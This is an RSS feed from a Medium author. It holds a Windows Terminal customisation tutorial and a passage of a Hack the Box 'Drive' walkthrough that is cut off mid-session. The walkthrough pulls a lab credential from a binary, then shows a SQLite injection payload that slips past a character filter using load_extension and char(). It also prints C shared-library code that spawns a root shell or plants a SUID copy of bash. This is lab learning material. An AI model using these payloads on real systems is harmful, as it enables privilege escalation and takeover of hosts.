<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Al Azhar Rizqi on Medium]]></title>
        <description><![CDATA[Stories by Al Azhar Rizqi on Medium]]></description>
        <link>https://medium.com/@zharsuke?source=rss-fa9cd9cbb58f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NCA98jnUldyQhMmO64FpFg.jpeg</url>
            <title>Stories by Al Azhar Rizqi on Medium</title>
            <link>https://medium.com/@zharsuke?source=rss-fa9cd9cbb58f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 10:51:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zharsuke/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Make Your Windows Terminal Awesome with Oh My Posh!]]></title>
            <link>https://medium.com/@zharsuke/make-your-windows-terminal-awesome-with-oh-my-posh-6dac7c799b45?source=rss-fa9cd9cbb58f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6dac7c799b45</guid>
            <dc:creator><![CDATA[Al Azhar Rizqi]]></dc:creator>
            <pubDate>Thu, 01 Aug 2024 21:43:18 GMT</pubDate>
            <atom:updated>2024-08-01T21:43:18.135Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8L0IzGtiIppb6yQT7hra6g.png" /></figure><h3>Introduction</h3><p>This my tutorial will show you how to customize Windows Terminal to look great with Oh My Posh. Oh My Posh is a prompt theme engine for any shell, designed to enhance your terminal experience with beautiful and highly customizable prompts.</p><h3>Install Oh My Posh</h3><p>Based on <a href="https://ohmyposh.dev/docs/installation/windows"><strong>oh my posh documentation</strong></a>, there are several ways to install Oh My Posh. But I’ll install with winget. Open powershell in windows terminal with administrator privileges, then just type:</p><pre>winget install JanDeDobbeleer.OhMyPosh -s winget</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ch54R2xjglcGaqdoWePz8g.png" /></figure><p>This installs a couple of things:</p><ul><li>oh-my-posh.exe - Windows executable</li><li>themes - The latest Oh My Posh <a href="https://ohmyposh.dev/docs/themes"><strong>themes</strong></a></li></ul><h3>Apply Oh My Posh</h3><p>We’ll create powershell script to initialization oh my posh when we open the windows terminal. We’ll use text editor to write the script, in this case use vscode. Just type:</p><pre>code $profile</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*y1YEGIkzW6tXJ_qZK6yULA.png" /></figure><p>In vscode, we write prompt for initialization oh my posh.</p><pre>oh-my-posh init pwsh --config &quot;$env:POSH_THEMES_PATH\jandedobbeleer.omp.json&quot; | Invoke-Expression</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*VmiD1UruaNCmazJMYvw6kg.png" /></figure><p>This will apply oh my posh with default theme. You can also customize your theme based on <a href="https://ohmyposh.dev/docs/themes"><strong>documentation here</strong></a>.<strong> </strong>In this case I’ll choose agnoster. Just replace “jandedobbeleer” with “agnoster” at powershell script. The update will look like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*5LGSwBX-XAMWplZ9QLRm_A.png" /></figure><p>After that, just open new powershell and the display will be changes!.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6EkX2m2DpYvSR3v2a9xJ-w.png" /></figure><p>But there are several icon that missing. That’s why we need Nerd font!</p><blockquote>Note!</blockquote><p>If you getting error UnauthorizedAccess, you must change execution policy from restricted to unrestricted. just type:</p><pre>Set-ExecutionPolicy Unrestricted -Scope CurrentUser</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BVIb_W9F1MR3LS5atbIz9Q.png" /></figure><h3>Install and Apply Nerd Font</h3><p>Based on <a href="https://ohmyposh.dev/docs/installation/fonts"><strong>documentation here</strong></a>, we can install nerd font with oh my posh in cli, just type:</p><pre>oh-my-posh font install</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ouJcQT8CQcloRlCNgHchCQ.png" /></figure><p>There are several options that you can choose, but in this case I’ll use cascadia mono, because it’s the default terminal font.</p><p>Open windows terminal settings, choose powershell profile, then click appearence, click font face, choose CaskaydiaMono Nerd Font Mono, then save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hbdzWTdBWF5wlqpfsKvmJw.png" /></figure><p>The display will look like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*se3iNSWcaDsEqYsOd1miew.png" /></figure><h3>Install and apply Plugin</h3><p>But it’s still not enough! I will install plugins such as <a href="https://www.powershellgallery.com/packages/Terminal-Icons/0.9.0"><strong>terminal-icons</strong></a> to show folder/file icon, and <a href="https://www.powershellgallery.com/packages/PSReadLine/2.2.6"><strong>PSReadLine</strong></a> to auto suggestion or auto completion from history command line. Just type:</p><pre>Install-Module -Name Terminal-Icons -RequiredVersion 0.9.0</pre><p>and</p><pre>Install-Module -Name PSReadLine -RequiredVersion 2.2.6</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y2ayFHeJ5HzA_w1uarPxBQ.png" /></figure><p>After that, we need update our $profile to apply our plugins. Just type:</p><pre>Import-Module Terminal-Icons<br>Set-PSReadLineOption -PredictionSource History<br>Set-PSReadLineOption -PredictionViewStyle ListView</pre><p>And the update will like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*tm6p5_UHoCR5vj6C-Ztkfw.png" /></figure><p>Just open new powershell, the update display will like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vn-dKVepuMB9PCQfCeDZcQ.png" /></figure><h3>Change Color Scheme</h3><p>There is website namely <a href="https://windowsterminalthemes.dev/"><strong>windows terminal theme here</strong></a>, that provide lot of color scheme for your windows terminal. You can choose as you want. In this case I’ll choose catppuccin mocha. Just click Get Theme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-BWFpXDCSjQYETZqDOMD1w.png" /></figure><p>Then, open the windows terminal settings again, click open json file at bottom left side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AhhOe46oaD06Dn_9r9PJnQ.png" /></figure><p>scroll down until you found scheme, then paste it like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*UBtrIOZ5T1SRx1YYXF6b9w.png" /></figure><p>After that, back to windows terminal settings again, choose windows powershell, click appearance, click color sheme, choose Catppuccin Mocha, then save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ND-rfExdiZ6Kgw-vh3WRZw.png" /></figure><p>The Final looks will like this!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xd2qYYSWKv5cE4UyHjzuQg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6dac7c799b45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box: Drive Walkthrough-Root]]></title>
            <link>https://medium.com/@zharsuke/hack-the-box-drive-walkthrough-root-07aae5d368a0?source=rss-fa9cd9cbb58f------2</link>
            <guid isPermaLink="false">https://medium.com/p/07aae5d368a0</guid>
            <dc:creator><![CDATA[Al Azhar Rizqi]]></dc:creator>
            <pubDate>Wed, 01 Nov 2023 12:46:36 GMT</pubDate>
            <atom:updated>2023-11-01T12:46:36.382Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*i2A6aRntzqNM3vfwB-xvow.png" /></figure><h3>Introduction</h3><p>This my advanced walkthrough from before that how to gain root access in Drive machine Hack the Box. Without any further do, let’s start it.</p><h3>Gain Shell as Root</h3><p>At tom home directory there are doodleGrive-cli binary file that is used to monitoring server status and README file. I assume that this is the our attack vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWjv6IgqS2Lqshvm1JkS1g.png" /></figure><p>But as usual I used linpeas and pspy first to initial enumeration maybe there is another attack vector that more convincing me but I think is nothing, so I must go back previous.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6kvz0SHIMyw6Hl_rmSFoRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*m1i5JFHGa_S9jMj1J6F7ag.png" /></figure><p>I try to run the doodleGrive-cli binary, but it must to insert username and password. I try to insert tom and martin credential but the result is nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*MqSrGOintQH2Luetj9bs-g.png" /></figure><p>hmm, maybe we must to found the credential from this binary. So I try to move the binary into my local machine in order to reverse engineering and debug the binary.</p><blockquote>Find Binary Credential</blockquote><p>There are two ways that I’ve found to gain binary credential. The first one is I try to run binary with gdb. I set the breakpoint into main, then run it, ni (stand for next instructions) and enter.</p><pre>gdb doodleGrive-cli<br>gef➤  b *main                          <br>Breakpoint 1 at 0x4021ed                                                      <br>gef➤  run<br>gef➤  ni</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-mG6X-ivPNN1eXrcp1lXWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Zk4wESz62bfH7B0qOEcYQ.png" /></figure><p>After enter it for a while, I’ve found moriarty. I assume moriarty is username or password, but from it not clue anymore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFU7YoeD34iG00mZiWJZZg.png" /></figure><p>I try cat and strings the binary, then grep it and found something that interesting me.</p><pre>➜ zharsuke@box  ~/Documents/Cyber_Security/hack-the-box/Machines/hard/drive git:(master) strings doodleGrive-cli | grep -i username <br>/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line &#39;SELECT id,last_login,is_superuser,username,email,is_staff,is_active,date_joined FROM accounts_customuser;&#39;<br>Enter username to activate account: <br>Error: Username cannot be empty.<br>/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line &#39;UPDATE accounts_customuser SET is_active=1 WHERE username=&quot;%s&quot;;&#39;<br>Enter Username:<br>Invalid username or password.<br>➜ zharsuke@box  ~/Documents/Cyber_Security/hack-the-box/Machines/hard/drive git:(master) strings doodleGrive-cli | grep -i password <br>Enter password for <br>Invalid username or password.<br>➜ zharsuke@box  ~/Documents/Cyber_Security/hack-the-box/Machines/hard/drive git:(master) strings doodleGrive-cli | grep -i moriarty <br>moriarty<br>➜ zharsuke@box  ~/Documents/Cyber_Security/hack-the-box/Machines/hard/drive git:(master)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHd97mZ9NLLEQeqYL5patQ.png" /></figure><p>From information above, there is select query that is used to display accounts_customer table and update query that is used to set is_active=1 based on username that user input. Then I try to strings the entire binary and save the output file into txt file. I open it in vscode and search moriarty, then found the moriarty password.</p><pre>strings doodleGrive-cli &gt; stringsDoodle.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZSyrwkemJi6RL0X6H0I2jQ.png" /></figure><p>The second ways to found binary credential is we used ghidra to reverse engineering the binary. After open it, search for main function and found the credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/235/1*6mG2QXlzRaRU-vaHHEyvoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*rEXDKPqHGCb5j9bvHJv9rA.png" /></figure><p>After that I try to login into binary and test the functionality. After login, there are 6 menu option that is the first one is show users lists, the second is show group user lists, the third is check server health, the fourth is show server request log, the fifth is activate user account, and the last is exit program.</p><pre>tom@drive:~$ ./doodleGrive-cli <br>[!]Caution this tool still in the development phase...please report any issue to the development team[!]<br>Enter Username:<br>moriarty<br>Enter password for moriarty:<br>findMeIfY0uC@nMr.Holmz!<br>Welcome...!<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 1                                                                                                                                    [13/1676]<br>          id = 16<br>  last_login = 2023-02-11 07:46:11.212535                                     <br>is_superuser = 1               <br>    username = admin<br>       email = admin@drive.htb<br>    is_staff = 1                                                              <br>   is_active = 1                       <br> date_joined = 2022-12-08 14:59:02.802351                                     <br>                                                                              <br>          id = 21<br>  last_login = 2022-12-24 22:39:42.847497                                     <br>is_superuser = 0            <br>    username = jamesMason<br>       email = jamesMason@drive.htb<br>    is_staff = 0                  <br>   is_active = 1                       <br> date_joined = 2022-12-23 12:33:04.637591                                     <br>                                                                              <br>          id = 22<br>  last_login = 2022-12-24 12:55:10.152415                                     <br>is_superuser = 0             <br>    username = martinCruz<br>       email = martin@drive.htb<br>    is_staff = 0                                                              <br>   is_active = 1                       <br> date_joined = 2022-12-23 12:35:02.230289                                     <br>                                       <br>          id = 23  <br>  last_login = 2022-12-26 06:20:23.299662                                     <br>is_superuser = 0                                                              <br>    username = tomHands <br>       email = tom@drive.htb<br>    is_staff = 0<br>   is_active = 1<br> date_joined = 2022-12-23 12:37:45<br><br>          id = 24<br>  last_login = 2022-12-24 16:51:53.717055<br>is_superuser = 0<br>    username = crisDisel<br>       email = cris@drive.htb<br>    is_staff = 0<br>   is_active = 1<br> date_joined = 2022-12-23 12:39:15.072407<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 2<br>   id = 28<br> name = public<br><br>   id = 39<br> name = doodleGrive-development-team<br><br>   id = 40<br> name = security-team<br><br>   id = 42<br> name = Relation-ship-management-group<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 3                                                                                                                                     [3/1739]<br>---------------------------------------------------------------               <br>Server status   <br>gunicorn is up!                                                                                                                                              <br>nginx is up!                                                                                                                                                 <br>---------------------------------------------------------------               <br>System information                                                            <br>Operating System Type :  GNU/Linux                                            <br>OS Name : Ubuntu              <br>UBUNTU_CODENAME=focal                                                         <br>OS Version : 20.04.6 LTS (Focal Fossa)<br>Architecture :  x86_64<br>Kernel Release :  5.4.0-164-generic<br>Hostname :  drive                                                             <br>Internal IP :  10.10.11.235 dead:beef::250:56ff:feb9:3531                     <br>Name Servers :  This internal configured Run currently Third symlink replace See operation 127.0.0.53 edns0                                                  <br>---------------------------------------------------------------               <br>Logged In users :          <br>tom      pts/0        2023-11-01 06:47 (10.10.14.109)                         <br>tom      pts/1        2023-11-01 07:12 (10.10.14.109)                         <br>---------------------------------------------------------------<br>System components status <br>Ram Usage : OK! <br>              total        used        free      shared  buff/cache   available                                                                              <br>Mem:          3.8Gi       640Mi       2.3Gi       4.0Mi       973Mi       2.9Gi<br>Disk Usages : <br>Filesystem                         Size  Used Avail Use% Mounted on<br>/dev/sda2                          219M  108M  103M  52% /boot<br>Load Average :  0.22,0.07,0.02<br>---------------------------------------------------------------<br>Database status <br>database exists<br>db size : OK! <br>---------------------------------------------------------------<br>System Uptime Days/(HH:MM) :  2:23<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 4                                                                                                                                             <br>10.10.14.109 - - [01/Nov/2023:08:53:27 +0000] &quot;GET / HTTP/1.1&quot; 200 3555 &quot;-&quot; &quot;Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0&quot;         <br>10.10.14.109 - - [01/Nov/2023:08:53:28 +0000] &quot;GET /static/css/style.css HTTP/1.1&quot; 200 16533 &quot;http://drive.htb/&quot; &quot;Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0&quot;                                                  <br>10.10.14.109 - - [01/Nov/2023:08:53:28 +0000] &quot;GET /static/css/responsive.css HTTP/1.1&quot; 200 10594 &quot;http://drive.htb/&quot; &quot;Mozilla/5.0 (X11; Linux x86_64; rv:109<br>.0) Gecko/20100101 Firefox/115.0&quot;                                             <br>10.10.14.109 - - [01/Nov/2023:08:53:28 +0000] &quot;GET /static/css/jquery.mCustomScrollbar.min.css HTTP/1.1&quot; 200 42839 &quot;http://drive.htb/&quot; &quot;Mozilla/5.0 (X11; Lin<br>ux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0&quot;                            <br>10.10.14.109 - - [01/Nov/2023:08:53:28 +0000] &quot;GET /static/css/owl.carousel.min.css HTTP/1.1&quot; 200 3248 &quot;http://drive.htb/&quot; &quot;Mozilla/5.0 (X11; Linux x86_64; r<br>v:109.0) Gecko/20100101 Firefox/115.0&quot;<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 5<br>Enter username to activate account: a<br>Activating account for user &#39;a&#39;...<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 6<br>exiting...<br>tom@drive:~$</pre><p>From testing above, I assume the attack vector is in activate user account, because it doing update query that must insert username. Maybe we can inject it. But before we continue the exploit, we must to know the program it first. So we must to go back at ghidra again. After we look around on main function, the next is we analyze the main_menu() function. At each case, it call function that different.</p><blockquote>main_menu()</blockquote><pre>void main_menu(void)<br><br>{<br>  long in_FS_OFFSET;<br>  char local_28 [24];<br>  undefined8 local_10;<br>  <br>  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);<br>  fflush((FILE *)stdin);<br>  do {<br>     putchar(10);<br>     puts(&quot;doodleGrive cli beta-2.2: &quot;);<br>     puts(&quot;1. Show users list and info&quot;);<br>     puts(&quot;2. Show groups list&quot;);<br>     puts(&quot;3. Check server health and status&quot;);<br>     puts(&quot;4. Show server requests log (last 1000 request)&quot;);<br>     puts(&quot;5. activate user account&quot;);<br>     puts(&quot;6. Exit&quot;);<br>     printf(&quot;Select option: &quot;);<br>     fgets(local_28,10,(FILE *)stdin);<br>     switch(local_28[0]) {<br>     case &#39;1&#39;:<br>        show_users_list();<br>        break;<br>     case &#39;2&#39;:<br>        show_groups_list();<br>        break;<br>     case &#39;3&#39;:<br>        show_server_status();<br>        break;<br>     case &#39;4&#39;:<br>        show_server_log();<br>        break;<br>     case &#39;5&#39;:<br>        activate_user_account();<br>        break;<br>     case &#39;6&#39;:<br>        puts(&quot;exiting...&quot;);<br>                            /* WARNING: Subroutine does not return */<br>        exit(0);<br>     default:<br>        puts(&quot;please Select a valid option...&quot;);<br>     }<br>  } while( true );<br>}</pre><blockquote>1. show_users_list()</blockquote><p>In this function, it call select query to display users data.</p><pre>void show_users_list(void)<br><br>{<br>  long lVar1;<br>  long in_FS_OFFSET;<br>  <br>  lVar1 = *(long *)(in_FS_OFFSET + 0x28);<br>  system(<br>           &quot;/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \&#39;SELECT id,last_login,is_superuser, username,email,is_staff,is_active,date_joined FROM accounts_customuser;\&#39;&quot;<br>           );<br>  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                            /* WARNING: Subroutine does not return */<br>     __stack_chk_fail();<br>  }<br>  return;<br>}</pre><blockquote>2. show_groups_list()</blockquote><p>In this function, it call select query to display users group data.</p><pre>void show_groups_list(void)<br><br>{<br>  long lVar1;<br>  long in_FS_OFFSET;<br>  <br>  lVar1 = *(long *)(in_FS_OFFSET + 0x28);<br>  system(<br>           &quot;/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \&#39;SELECT id,name FROM accounts_g;\&#39;&quot;<br>           );<br>  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                            /* WARNING: Subroutine does not return */<br>     __stack_chk_fail();<br>  }<br>  return;<br>}</pre><blockquote>3. show_server_status()</blockquote><p>In this function, it call bash script that namely server-health-check.sh.</p><pre>void show_server_status(void)<br><br>{<br>  long lVar1;<br>  long in_FS_OFFSET;<br>  <br>  lVar1 = *(long *)(in_FS_OFFSET + 0x28);<br>  system(&quot;/usr/bin/sudo -u www-data /opt/server-health-check.sh&quot;);<br>  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                            /* WARNING: Subroutine does not return */<br>     __stack_chk_fail();<br>  }<br>  return;<br>}</pre><blockquote>4. show_server_log()</blockquote><p>In this function, it display access.log file with last 1000 data.</p><pre>void show_server_log(void)<br><br>{<br>  long lVar1;<br>  long in_FS_OFFSET;<br>  <br>  lVar1 = *(long *)(in_FS_OFFSET + 0x28);<br>  system(&quot;/usr/bin/sudo -u www-data /usr/bin/tail -1000 /var/log/nginx/access.log&quot;);<br>  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                            /* WARNING: Subroutine does not return */<br>     __stack_chk_fail();<br>  }<br>  return;<br>}</pre><blockquote>5. activate_user_account()</blockquote><p>In this function, it call update query to set is_active=1 of users.</p><pre>void activate_user_account(void)<br><br>{<br>  size_t sVar1;<br>  long in_FS_OFFSET;<br>  char local_148 [48];<br>  char local_118 [264];<br>  long local_10;<br>  <br>  local_10 = *(long *)(in_FS_OFFSET + 0x28);<br>  printf(&quot;Enter username to activate account: &quot;);<br>  fgets(local_148,0x28,(FILE *)stdin);<br>  sVar1 = strcspn(local_148,&quot;\n&quot;);<br>  local_148[sVar1] = &#39;\0&#39;;<br>  if (local_148[0] == &#39;\0&#39;) {<br>     puts(&quot;Error: Username cannot be empty.&quot;);<br>  }<br>  else {<br>     sanitize_string(local_148);<br>     snprintf(local_118,0xfa,<br>                  &quot;/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \&#39;UPDATE accounts_customuser SET is_active=1 WHERE username=\&quot;%s\&quot;;\&#39;&quot;<br>                  ,local_148);<br>     printf(&quot;Activating account for user \&#39;%s\&#39;...\n&quot;,local_148);<br>     system(local_118);<br>  }<br>  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                            /* WARNING: Subroutine does not return */<br>     __stack_chk_fail();<br>  }<br>  return;<br>}</pre><p>From code above, there is sanitize_string() function that filter the character when we insert the username.</p><blockquote>5.1. sanitize_string()</blockquote><p>There is list character that filtered that display in hexadecimal 0x5c7b2f7c20270a003b. After convert it’ll be \ { / | ‘ � ; like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9TnpoGzby2recMIA6wHttw.png" /></figure><pre>void sanitize_string(char *param_1)<br><br>{<br>  bool bVar1;<br>  size_t sVar2;<br>  long in_FS_OFFSET;<br>  int local_3c;<br>  int local_38;<br>  uint local_30;<br>  undefined8 local_29;<br>  undefined local_21;<br>  long local_20;<br>  <br>  local_20 = *(long *)(in_FS_OFFSET + 0x28);<br>  local_3c = 0;<br>  local_29 = 0x5c7b2f7c20270a00;<br>  local_21 = 0x3b;<br>  local_38 = 0;<br>  do {<br>     sVar2 = strlen(param_1);<br>     if (sVar2 &lt;= (ulong)(long)local_38) {<br>        param_1[local_3c] = &#39;\0&#39;;<br>        if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                            /* WARNING: Subroutine does not return */<br>           __stack_chk_fail();<br>        }<br>        return;<br>     }<br>     bVar1 = false;<br>     for (local_30 = 0; local_30 &lt; 9; local_30 = local_30 + 1) {<br>        if (param_1[local_38] == *(char *)((long)&amp;local_29 + (long)(int)local_30)) {<br>           bVar1 = true;<br>           break;<br>        }<br>     }<br>     if (!bVar1) {<br>        param_1[local_3c] = param_1[local_38];<br>        local_3c = local_3c + 1;<br>     }<br>     local_38 = local_38 + 1;<br>  } while( true );<br>}</pre><blockquote>From code above that we examine, the idea is we inject the update query when we insert the username to activate account.</blockquote><p>So, I try to search sqlite injection and found some tricks in <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md"><strong><em>PayloadAllTheThings</em></strong></a>. According payload all the things, we can use load_extension() function to call other file from directory. Then I search for load_extension() sqlite documentation. (references: <a href="https://www.sqlite.org/c3ref/load_extension.html">https://www.sqlite.org/c3ref/load_extension.html</a> <a href="https://www.sqlite.org/lang_corefunc.html#load_extension">https://www.sqlite.org/lang_corefunc.html#load_extension</a>). <strong>According the documentation, load_extension() can contains one or two parameter that is the first parameter is shared library file, then the second parameter is entry point.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xsY_OSlgDwk3F0wvlhQjwQ.png" /></figure><p>After collect information, I try to search for shared library exploit and found this <a href="https://tbhaxor.com/exploiting-shared-library-misconfigurations/"><strong><em>article</em></strong></a>. That article also help me when I completed <a href="https://medium.com/@zharsuke/hack-the-box-zipping-walkthrough-e1e768c2f5f3"><strong><em>zipping machine</em></strong></a>. So, I try to create exploit script using c then compiled it.</p><blockquote>Exploit script.</blockquote><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void _init() {<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/bin/bash -i&quot;);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*_TxkNUBA0ikj5lOi73gg7g.png" /></figure><pre>tom@drive:~$ cat konz.c <br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void _init() {<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/bin/bash -i&quot;);<br>}<br>tom@drive:~$ gcc -shared -fPIC -nostartfiles -o c.so konz.c<br>tom@drive:~$ ls<br>c.so  doodleGrive-cli  konz.c  README.txt  user.txt<br>tom@drive:~$</pre><p>After create exploit script, we must to create payload injection to call shared library with load_extension() that we’ve been created before and target is activate username. Because the query inside string according with ghidra that we’ve analyze before, we must to separated between string and function using “+load_extension()+”. And also because there are character that filtered, we must bypass it. The idea is we can bypass it by <a href="https://www.w3resource.com/sqlite/core-functions-char.php"><strong><em>convert ascii number to char</em></strong></a> or <a href="https://www.appsloveworld.com/bestanswer/sqlite/13/convert-hex-to-text-using-sqlite"><strong><em>hex to char</em></strong></a>. But I prefer using char() function because it more simple. So inside load_extension() we insert char() function that contains several number that is 46, 47, 99 it means 46=. 47=/ 99=c <a href="https://www.w3schools.com/charsets/ref_html_ascii.asp"><strong><em>according ascii number tables</em></strong></a>. So, the payload will be like below.</p><pre>&quot;+load_extension(char(46,47,99))+&quot;</pre><blockquote>Exploit the Binary</blockquote><p>After that, we run the binary, insert username and password, and choose option 5, and insert the payload that we’ve been created before. And I success to gain root, but I can’t run any command.</p><pre>tom@drive:~$ ls<br>c.so  doodleGrive-cli  konz.c  README.txt  user.txt<br>tom@drive:~$ ./doodleGrive-cli <br>[!]Caution this tool still in the development phase...please report any issue to the development team[!]<br>Enter Username:<br>moriarty<br>Enter password for moriarty:<br>findMeIfY0uC@nMr.Holmz!<br>Welcome...!<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 5 <br>Enter username to activate account: &quot;+load_extension(char(46,47,99))+&quot;<br>Activating account for user &#39;&quot;+load_extension(char(46,47,99))+&quot;&#39;...<br>bash: groups: No such file or directory<br>bash: lesspipe: No such file or directory<br>bash: dircolors: No such file or directory<br>root@drive:~# ls<br>bash: ls: No such file or directory<br>root@drive:~# id<br>bash: id: No such file or directory<br>root@drive:~#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHPjj-MvyNFrDpifTe4spw.png" /></figure><p>Hmm maybe we must to change command inside exploit script. The idea is we copy bash, change the setuid, then we can execute it with privilege mode. So, the code that’ve been modified should like below.</p><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void _init() {<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/usr/bin/cp /bin/bash /tmp/konz;/usr/bin/chmod +s /tmp/konz&quot;);<br>}</pre><p>After modified, remove library file, compiled again and run it. But when I run it, there is error undefined symbol “Error: ./c.so: undefined symbol: sqlite3_c_init”.</p><pre>tom@drive:~$ cat konz.c <br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void _init() {<br>    setuid(0);<br>    setgid(0);<br>    system(&quot;/usr/bin/cp /bin/bash /tmp/konz;/usr/bin/chmod +s /tmp/konz&quot;);<br>}<br>tom@drive:~$ gcc -shared -fPIC -nostartfiles -o c.so konz.c<br>tom@drive:~$ ./doodleGrive-cli <br>[!]Caution this tool still in the development phase...please report any issue to the development team[!]<br>Enter Username:<br>moriarty<br>Enter password for moriarty:<br>findMeIfY0uC@nMr.Holmz!<br>Welcome...!<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log (last 1000 request)<br>5. activate user account<br>6. Exit<br>Select option: 5<br>Enter username to activate account: &quot;+load_extension(char(46,47,99))+&quot;<br>Activating account for user &#39;&quot;+load_extension(char(46,47,99))+&quot;&#39;...<br>Error: ./c.so: undefined symbol: sqlite3_c_init<br><br>doodleGrive cli beta-2.2: <br>1. Show users list and info<br>2. Show groups list<br>3. Check server health and status<br>4. Show server requests log 